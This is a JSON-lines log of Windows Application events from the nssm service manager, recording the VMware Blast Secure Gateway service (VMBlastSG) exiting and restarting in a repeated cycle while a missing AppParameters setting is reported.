{"@timestamp":1646754481557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161977}}
{"@timestamp":1646754481557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156828","0"]}}},"module":"Application","provider":"nssm","sequence":161978}}
{"@timestamp":1646754481558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156828","156828","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161979}}
{"@timestamp":1646754481574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161980}}
{"@timestamp":1646754481574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161981}}
{"@timestamp":1646754481575,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161982}}
{"@timestamp":1646754481576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161983}}
{"@timestamp":1646754610071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161984}}
{"@timestamp":1646754610073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161985}}
{"@timestamp":1646754610074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159732","0"]}}},"module":"Application","provider":"nssm","sequence":161986}}
{"@timestamp":1646754610074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159732","159732","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161987}}
{"@timestamp":1646754610091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161988}}
{"@timestamp":1646754610092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161989}}
{"@timestamp":1646754610092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161990}}
{"@timestamp":1646754610093,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161991}}
{"@timestamp":1646754738594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":161992}}
{"@timestamp":1646754738595,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":161993}}
{"@timestamp":1646754738596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149564","0"]}}},"module":"Application","provider":"nssm","sequence":161994}}
{"@timestamp":1646754738596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149564","149564","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":161995}}
{"@timestamp":1646754738613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161996}}
{"@timestamp":1646754738614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":161997}}
{"@timestamp":1646754738614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":161998}}
{"@timestamp":1646754738615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":161999}}
{"@timestamp":1646754867108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162000}}
{"@timestamp":1646754867111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162001}}
{"@timestamp":1646754867111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154700","0"]}}},"module":"Application","provider":"nssm","sequence":162002}}
{"@timestamp":1646754867112,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154700","154700","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162003}}
{"@timestamp":1646754867128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162004}}
{"@timestamp":1646754867128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162005}}
{"@timestamp":1646754867129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162006}}
{"@timestamp":1646754867130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162007}}
{"@timestamp":1646754995615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162008}}
{"@timestamp":1646754995615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162009}}
{"@timestamp":1646754995616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158288","0"]}}},"module":"Application","provider":"nssm","sequence":162010}}
{"@timestamp":1646754995616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158288","158288","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162011}}
{"@timestamp":1646754995632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162012}}
{"@timestamp":1646754995633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162013}}
{"@timestamp":1646754995633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162014}}
{"@timestamp":1646754995634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162015}}
{"@timestamp":1646755124152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162016}}
{"@timestamp":1646755124154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162017}}
{"@timestamp":1646755124155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159136","0"]}}},"module":"Application","provider":"nssm","sequence":162018}}
{"@timestamp":1646755124155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159136","159136","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162019}}
{"@timestamp":1646755124172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162020}}
{"@timestamp":1646755124172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162021}}
{"@timestamp":1646755124173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162022}}
{"@timestamp":1646755124173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162023}}
{"@timestamp":1646755252658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162024}}
{"@timestamp":1646755252660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162025}}
{"@timestamp":1646755252661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159120","0"]}}},"module":"Application","provider":"nssm","sequence":162026}}
{"@timestamp":1646755252661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159120","159120","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162027}}
{"@timestamp":1646755252677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162028}}
{"@timestamp":1646755252678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162029}}
{"@timestamp":1646755252678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162030}}
{"@timestamp":1646755252679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162031}}
{"@timestamp":1646755381172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162032}}
{"@timestamp":1646755381173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162033}}
{"@timestamp":1646755381174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158976","0"]}}},"module":"Application","provider":"nssm","sequence":162034}}
{"@timestamp":1646755381175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158976","158976","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162035}}
{"@timestamp":1646755381190,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162036}}
{"@timestamp":1646755381191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162037}}
{"@timestamp":1646755381191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162038}}
{"@timestamp":1646755381192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162039}}
{"@timestamp":1646755509678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162040}}
{"@timestamp":1646755509680,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162041}}
{"@timestamp":1646755509681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158428","0"]}}},"module":"Application","provider":"nssm","sequence":162042}}
{"@timestamp":1646755509681,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158428","158428","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162043}}
{"@timestamp":1646755509697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162044}}
{"@timestamp":1646755509698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162045}}
{"@timestamp":1646755509698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162046}}
{"@timestamp":1646755509699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162047}}
{"@timestamp":1646755638202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162048}}
{"@timestamp":1646755638204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162049}}
{"@timestamp":1646755638205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159096","0"]}}},"module":"Application","provider":"nssm","sequence":162050}}
{"@timestamp":1646755638205,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159096","159096","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162051}}
{"@timestamp":1646755638223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162052}}
{"@timestamp":1646755638223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162053}}
{"@timestamp":1646755638224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162054}}
{"@timestamp":1646755638225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162055}}
{"@timestamp":1646755766866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162056}}
{"@timestamp":1646755766867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162057}}
{"@timestamp":1646755766868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159204","0"]}}},"module":"Application","provider":"nssm","sequence":162058}}
{"@timestamp":1646755766868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159204","159204","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162059}}
{"@timestamp":1646755766885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162060}}
{"@timestamp":1646755766885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162061}}
{"@timestamp":1646755766886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162062}}
{"@timestamp":1646755766886,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162063}}
{"@timestamp":1646755895376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162064}}
{"@timestamp":1646755895378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162065}}
{"@timestamp":1646755895379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151284","0"]}}},"module":"Application","provider":"nssm","sequence":162066}}
{"@timestamp":1646755895380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151284","151284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162067}}
{"@timestamp":1646755895397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162068}}
{"@timestamp":1646755895398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162069}}
{"@timestamp":1646755895398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162070}}
{"@timestamp":1646755895399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162071}}
{"@timestamp":1646756023888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162072}}
{"@timestamp":1646756023890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162073}}
{"@timestamp":1646756023890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159424","0"]}}},"module":"Application","provider":"nssm","sequence":162074}}
{"@timestamp":1646756023891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159424","159424","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":162075}}
{"@timestamp":1646756023907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162076}}
{"@timestamp":1646756023908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":162077}}
{"@timestamp":1646756023908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":162078}}
{"@timestamp":1646756023909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":162079}}
{"@timestamp":1646756152413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":162080}}
{"@timestamp":1646756152417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":162081}}
